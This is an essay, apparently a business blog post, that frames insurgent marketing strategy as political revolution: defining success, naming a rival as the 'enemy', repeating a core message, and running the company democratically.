Revolution is a heady thing. It unites your company and all its stakeholders in a common cause. It pumps adrenaline through your system and stands up the hair on the back of your necks. It gets you up before dawn and gets you to bed only when another battle has been won. Revolution creates enormous opportunity – it's your best shot at ending up in the history books. We highly recommend it.
As for getting into the history books, or even Wikipedia, remember what Abraham Lincoln told his cabinet members during America's Civil War: "We will be remembered in spite of ourselves. No personal significance or insignificance will spare one or another of us. The fiery trial through which we pass will light us down … in honor or dishonor … to the latest generation."
The revolutionary will be remembered … "in honor or dishonor;" those are the winner-take-all odds you face. Follow these rules of revolutionaries … this is what's been working for insurgents and underdogs for several thousand years.
Now that you've clearly defined the revolution you want to lead and the revolution you want to join – and now that you've won the internal revolution to allow insurgent thinking in your organization – you must clearly understand what it will bean to win that revolution. You must granularly define success.
A vividly defined enemy focuses and energizes your revolution … personifies the Dark Forces that must be overcome. There's no problem with that if your enemy is Hosni Mubarak or Muamar Gadaffi. For Steven Jobs' Mac division, it was IBM and the whole idea of "man serving machine," the basis of autocracy. At the time that personified the Soviet Union. Clearly depict your enemy – the enemy of this revolution and the obstacle to the benefits that would result from it. It's not enough to define your most obvious competitor as "the enemy" – unless that competitor is in the way of changes that would improve the lives of consumers and communities in your marketplace. In that case, take them out with a passion.
One of the first and most important positions filled in any revolutionary organization is "Minister of Information." Whether the revolution is just a bully's power grab or a truly democratic action, effective communication are essential to success.
You must …
These definitions create the framework of your basic message, what we call the "3X5 Card" (it's the basic communications tool of any successful political campaign). This is the fundamental argument for the revolution. It's the fundamental narrative of your brand and company. It must be simple, resonant, stated in personal terms (with clearly defined personal benefits) and constantly repeated. These basic messages should not change unless the underlying "campaign" strategy changes. That means this basic message framework should be communicated in every kind of situation – from marketing communications to industry events to sales presentations to internal meetings and even informal conversations … everything and all the time. Loyalists and all friendly stakeholders or experts and opinion shapers should be encouraged to communicate those same messages. The spread of the revolution's narrative helps soften the beaches for each new advance of your cause.
We have already spoken of the incumbents' aversion to change. An autocracy is static – its rules are immutable (and the number one of those rules is that "what was, will be"). At the heart of the incumbent leader is a profound dislike of deviation and difference. The revolutionary organization is the opposite; it is dynamic. All of the experts talking about the various popular revolutions taking place in the Middle East have cautioned: "You just can't know how things are going to turn out." To be a true revolutionary, you must accept, embrace and encourage change. That's what Jefferson wanted for America forever.
Too many revolutionaries don't really believe in democracy. They believe so strongly in their vision that they don't really want to accept the ideas of others. That's understandable; often, that's part of the drive of a genius. Still, history shows us that doesn't work for long. Nobody's that good — not Stalin, not Mao, not Muamar. The most effective revolutionary organizations are democratic organizations. As our group has traveled the world doing political and business campaigns, we've learned a very simple lesson: democracy is good; more democracy is better; and fluid democracy – a constant interactive dialogue – is best of all. That dialogue is vital to a company and its system; all the way up the supply chain and down the demand chain. A great leader must be a great communicator – but a great leader must be a great listener first. In this dialogue is where you will spot the earliest signs of trouble or opportunity. Both opportunity and crisis arise faster than ever before.
You undoubtedly know that the cardinal rule of insurgent strategy is "do the doable." That means making the most of all resources. Waste is a mortal sin. So …
Winning is good – winning a true revolution is even better.
Make your mark on the market forever. Change direction of your own company and the marketplace in which you operate. In the end it will be your customers and all consumers who will get the true and lasting benefits of this revolution. That's what really makes it work. To win … make sure lots of others win.
No great challenge is overcome without risk. Know clearly what you're willing to risk to win – then put your square your shoulders and hit the line.
